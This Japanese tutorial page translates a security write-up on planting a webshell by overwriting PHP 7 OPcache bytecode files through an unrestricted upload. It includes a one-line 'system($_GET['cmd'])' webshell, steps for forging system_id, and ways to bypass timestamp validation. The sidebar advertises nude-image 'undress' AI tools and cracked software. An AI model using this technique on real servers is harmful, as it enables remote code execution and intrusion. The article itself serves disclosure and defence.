検索
ホームページバックエンド開発PHPチュートリアルPHP 7 で OPcache を使用して Webshel​​l を実装する

この記事では、PHP7 OPcache エンジンのセキュリティ問題について説明し、新しい脆弱性悪用テクノロジについても紹介します。この攻撃方法により、Web ディレクトリでのファイルの読み書きの禁止やその他のセキュリティ対策など、特定のセキュリティ強化テクノロジを回避できます。さらに、攻撃者はこの攻撃手法を使用して、ターゲット ホストで悪意のあるコードを実行することもできます。

OPcahce

OPcache は、PHP 7.0 に組み込まれた新しいキャッシュ エンジンです。 PHP スクリプト コードをコンパイルし、コンパイル結果をバイトコードの形式でメモリに保存できます。

OPcache は、PHP スクリプトのプリコンパイルされたバイトコードを共有メモリに保存することにより、PHP のパフォーマンスを向上させます。プリコンパイルされたバイトコードを保存する利点は、毎回の PHP スクリプトの読み込みと解析のオーバーヘッドを節約できることです。

さらに、ファイル システム キャッシュ機能も提供できますが、PHP.ini 設定ファイルでキャッシュ情報のターゲット フォルダー パスを定義する必要があります:

opcache.file_cache=/tmp/opcache

上記のフォルダーにある場合、OPcache はコンパイルされた PHP スクリプトを、対応する PHP スクリプトと同じディレクトリ構造に保存します。たとえば、コンパイルが必要なコードは /var/www/index.php に保存され、コンパイルされたコードは /tmp/opcache/[system_id]/var/www/index.php.bin に保存されます。

上記のファイルパスのsystem_idは、現在のPHPバージョン情報、Zendフレームワークの拡張ID、各種データ型情報を含むMD5ハッシュ値です。 Ubuntu オペレーティング システムの最新リリース (16.04) では、system_id は現在の Zend フレームワークと PHP のバージョン番号 (81d80d78c6ef96b89afaadc7ffc5d7ea) で構成されます。 OPcache がこれらのファイルを初めてキャッシュするとき、対応するディレクトリがファイル システムに作成されます。

次の章で説明するように、各 OPcache ファイルはファイルのヘッダー フィールドに system_id のコピーも保存します。

この時点で、OPcache フォルダーについて言及する必要があります。非常に興味深い点の 1 つは、ユーザーがこのサービスを有効にすると、OPcache によって生成されたすべてのフォルダーまたはファイルがユーザーに与えられることです (すべてのファイルとフォルダーは、 /tmp/opcache/ ディレクトリ) 書き込み権限。

OPcache フォルダー内の権限情報は次のとおりです:

$ ls /tmp/opcache/

drwx------ 4 www-data www-data 4096 Apr 26 09:16 81d80d78c6ef96b89afaadc7ffc5d7ea

ご覧のとおりご覧のとおり、www-data グループに属するユーザーは、OPcache によって生成されたフォルダーへの書き込み権限を持っています。 OPcache ディレクトリへの書き込み権限がある場合は、ディレクトリ内のキャッシュ ファイルを上書きし、Web シェルを使用して任意のコードを実行できます。

攻撃シナリオ

まず、キャッシュフォルダーの保存パス (/tmp/opcache/[system_id]) とターゲットの PHP ファイルの保存パス (/var/www/...) を取得する必要があります。

誰でも理解しやすいように、Web サイトのディレクトリに phpinfo() ファイルがあると仮定します。キャッシュ フォルダーの保存場所とファイルのソース コードは、このファイルから取得するときに必要になります。 system_id を計算する これらのデータを使用します。私たちは、Web サイト phpinfo() から情報を抽出し、system_id を計算するツールを開発しました。このツールは GitHub リポジトリで入手できます。

ここで、ターゲット Web サイトにはアップロードされるファイルに制限があってはいけないことに注意する必要があります。

ここで、デフォルトの設定情報に加えて、次の設定データも php.ini に追加されると仮定します。デフォルトは 0 です

opcache.file_cache = /tmp/opcache

次に、攻撃の実行プロセスについて説明します:

Web サイトに脆弱性が見つかりました。つまり、Web サイトは私たちにアップロードされません。制限なしでファイルを作成できます。私たちの目標は、ファイル /tmp/opcache/[system_id]/var/www/index.php.bin をバックドアを含む悪意のあるコードに置き換えることです。

上の画像は、脆弱性を含む Web サイトのインターフェイスを示しています。

1. Webshel​​l を含む悪意のある PHP ファイルをローカルに作成し、「index.php」という名前を付けます:

system($_GET['cmd']);

?>

2. opcache.file_cache の関連設定を PHP.ini ファイルに追加します。

3. php -S 127.0.0.1:8080 コマンドを使用して Web サーバーを起動し、サーバーから Index.php ファイルをリクエストして、キャッシュ エンジンをトリガーします。このステップでは、コマンド wget 127.0.0.1:8080 を使用するだけで目的を達成できます。

4. 最初のステップで設定したキャッシュ フォルダーを見つけると、index.php.bin という名前のファイルが見つかります。このファイルはコンパイルされた Web シェルです。

上の図は、OPcache によって生成されたindex.php.bin を示しています。

5. ローカルの system_id はターゲット ホストの system_id と異なる可能性があるため、index.php.bin ファイルを開いて、system_id をターゲット ホストの system_id に変更する必要があります。前に述べたように、system_id は、たとえば総当たりによって推測されたり、phpinfo() ファイル内のサーバー情報に基づいて計算されたりする可能性があります。以下の図に示すように、ファイル署名データの後に system_id を変更できます。

上の図は、system_id のデータ保存場所を示しています。

6. ターゲット Web サイトにはアップロードされるファイルに制限がないため、ファイルをサーバー ディレクトリにアップロードします:

/tmp/opcache/[system_id]/var/www/index.php.bin

7. Web サイトのindex.php を更新すると、Web サイトは Web シェルを自動的に実行します。

メモリ キャッシュをバイパスします (file_cache_only = 0)

メモリ キャッシュの優先順位がファイル キャッシュよりも高い場合、OPcache ファイルを書き換えても Web シェルは実行されません。サーバーがホストする Web サイトにファイルのアップロード制限の脆弱性がある場合、サーバーの再起動後にこの制限を回避できます。メモリ キャッシュはクリアできるため、OPcache はファイル キャッシュを使用してメモリ キャッシュを埋め、Webシェルを実行するという目的を達成します。

これは、サーバーを再起動せずに Web シェルを実行する方法がまだあることを意味します。

WordPress などの Web サイトフレームワークには、registration-functions.php など、公的にアクセスできる古いファイルがまだいくつかあります。

これらのファイルは古いため、システムはこれらのファイルをロードしなくなります。つまり、これらのファイルはメモリやファイル システム キャッシュに存在できません。悪意のあるコード (registration-functions.php.bin) をアップロードし、関連する Web ページ (/wp-includes/registration-functions.php) にアクセスすると、OPcache は自動的に Web シェルを実行します。

タイムスタンプ認証をバイパスする (validate_timestamps = 1)

タイムスタンプは通常、特定の瞬間を一意に識別する一連の文字です。一般に、タイムスタンプを生成するプロセスは次のとおりです。ユーザーはまず、タイムスタンプを付ける必要があるファイルをハッシュ エンコーディングで暗号化して要約を作成し、次にその要約を DTS に送信し、受信したファイルの要約の日付と時刻の情報を追加します。ファイルは暗号化され (デジタル署名され)、ユーザーに返送されます。

サーバーがタイムスタンプ認証機能を有効にしている場合、OPcache は要求された PHP ソース ファイルのタイムスタンプを検証し、ファイルがキャッシュ ファイル ヘッダー フィールドのタイムスタンプと一致する場合、サーバーはアクセスを許可します。タイムスタンプが一致しない場合、キャッシュ ファイルは破棄され、新しいキャッシュ ファイルが作成されます。この制限を回避するには、攻撃者はターゲット ソース ファイルのタイムスタンプを知っている必要があります。

これは、WordPress などの Web サイト フレームワークでは、開発者が圧縮パッケージからコード ファイルを抽出するときにタイムスタンプ情報が変更されないため、ソース ファイルのタイムスタンプを取得できることも意味します。

上の画像は、WordPress/wp-includes フォルダー内の情報を示しています。

興味深いことに、これらのファイルの一部は 2012 年以来変更されていません (次の 2 つのファイルにご注意ください:registration-functions.php とRegistration.php)。したがって、これらの同じファイルのタイムスタンプは、WordPress のバージョンが異なっていても同じになります。ファイルのタイムスタンプ情報を取得した後、攻撃者は悪意のあるコードを変更し、サーバーのキャッシュ データを上書きする可能性があります。タイムスタンプ情報は、ファイルの先頭の 34 番目のバイト位置にあります:

デモ ビデオ

ここでは、短いデモ ビデオを提供し、ビデオで攻撃手順を説明します:

ビデオ アドレス: https ://youtu.be/x42l-PQHhbA

前に述べたように、必要なツールは GitHub コード リポジトリで入手できます。

概要

つまり、これは PHP の一般的な脆弱性ではないため、この新しい攻撃方法は PHP を使用して開発されたアプリケーションには影響しません。現在、多くの Linux ディストリビューション オペレーティング システム (Ubuntu 16.04 など) はデフォルトで PHP 7 をインストールするため、この攻撃手法について学んだ後は、開発プロセス中にコードをより慎重にレビューし、ファイルのアップロード制限があるかどうかを確認する必要があります。この脆弱性はサーバーのセキュリティに影響を与えるため、Web サイトに脆弱性が存在します。

この記事は360セキュリティ放送から翻訳されたものです。転載する場合は「360セキュリティ放送から転載」と明記の上、リンクを貼ってください。

元のリンク: http://blog.gosecure.ca/2016/04/27/binary-webshel​​l-through-opcache-in-php-7/
声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
PHP対Python:違いを理解しますPHP対Python:違いを理解しますApr 11, 2025 am 12:15 AM

PHP and Python each have their own advantages, and the choice should be based on project requirements. 1.PHPは、シンプルな構文と高い実行効率を備えたWeb開発に適しています。 2。Pythonは、簡潔な構文とリッチライブラリを備えたデータサイエンスと機械学習に適しています。

PHP:それは死にかけていますか、それとも単に適応していますか?PHP:それは死にかけていますか、それとも単に適応していますか?Apr 11, 2025 am 12:13 AM

PHPは死にかけていませんが、常に適応して進化しています。 1)PHPは、1994年以来、新しいテクノロジーの傾向に適応するために複数のバージョンの反復を受けています。 2)現在、電子商取引、コンテンツ管理システム、その他の分野で広く使用されています。 3)PHP8は、パフォーマンスと近代化を改善するために、JITコンパイラおよびその他の機能を導入します。 4)Opcacheを使用してPSR-12標準に従って、パフォーマンスとコードの品質を最適化します。

PHPの未来:適応と革新PHPの未来:適応と革新Apr 11, 2025 am 12:01 AM

PHPの将来は、新しいテクノロジーの傾向に適応し、革新的な機能を導入することで達成されます。1)クラウドコンピューティング、コンテナ化、マイクロサービスアーキテクチャに適応し、DockerとKubernetesをサポートします。 2)パフォーマンスとデータ処理の効率を改善するために、JITコンパイラと列挙タイプを導入します。 3)パフォーマンスを継続的に最適化し、ベストプラクティスを促進します。

PHPの抽象クラスまたはインターフェイスに対して、いつ特性を使用しますか?PHPの抽象クラスまたはインターフェイスに対して、いつ特性を使用しますか?Apr 10, 2025 am 09:39 AM

PHPでは、特性は方法が必要な状況に適していますが、継承には適していません。 1)特性により、クラスの多重化方法が複数の継承の複雑さを回避できます。 2)特性を使用する場合、メソッドの競合に注意を払う必要があります。メソッドの競合は、代替およびキーワードとして解決できます。 3)パフォーマンスを最適化し、コードメンテナビリティを改善するために、特性の過剰使用を避け、その単一の責任を維持する必要があります。

依存関係噴射コンテナ(DIC)とは何ですか?また、なぜPHPで使用するのですか?依存関係噴射コンテナ(DIC)とは何ですか?また、なぜPHPで使用するのですか?Apr 10, 2025 am 09:38 AM

依存関係噴射コンテナ(DIC)は、PHPプロジェクトで使用するオブジェクト依存関係を管理および提供するツールです。 DICの主な利点には、次のものが含まれます。1。デカップリング、コンポーネントの独立したもの、およびコードの保守とテストが簡単です。 2。柔軟性、依存関係を交換または変更しやすい。 3.テスト可能性、単体テストのために模擬オブジェクトを注入するのに便利です。

通常のPHPアレイと比較して、SPL SPLFIXEDARRAYとそのパフォーマンス特性を説明してください。通常のPHPアレイと比較して、SPL SPLFIXEDARRAYとそのパフォーマンス特性を説明してください。Apr 10, 2025 am 09:37 AM

SplfixedArrayは、PHPの固定サイズの配列であり、高性能と低いメモリの使用が必要なシナリオに適しています。 1)動的調整によって引き起こされるオーバーヘッドを回避するために、作成時にサイズを指定する必要があります。 2)C言語アレイに基づいて、メモリと高速アクセス速度を直接動作させます。 3)大規模なデータ処理とメモリに敏感な環境に適していますが、サイズが固定されているため、注意して使用する必要があります。

PHPは、ファイルを安全に処理する方法をどのように処理しますか?PHPは、ファイルを安全に処理する方法をどのように処理しますか?Apr 10, 2025 am 09:37 AM

PHPは、$ \ _ファイル変数を介してファイルのアップロードを処理します。セキュリティを確保するための方法には次のものが含まれます。1。アップロードエラー、2。ファイルの種類とサイズを確認する、3。ファイル上書きを防ぐ、4。ファイルを永続的なストレージの場所に移動します。

Null Coulescingオペレーター(??)およびNull Coulescing Assignment Operator(?? =)とは何ですか?Null Coulescingオペレーター(??)およびNull Coulescing Assignment Operator(?? =)とは何ですか?Apr 10, 2025 am 09:33 AM

JavaScriptでは、nullcoalescingoperator(??)およびnullcoalescingsignmentoperator(?? =)を使用できます。 1.??最初の非潜水金または非未定されたオペランドを返します。 2.??これらの演算子は、コードロジックを簡素化し、読みやすさとパフォーマンスを向上させます。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

SecLists

SecLists

SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。

Dreamweaver Mac版

Dreamweaver Mac版

ビジュアル Web 開発ツール

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター

EditPlus 中国語クラック版

EditPlus 中国語クラック版

サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません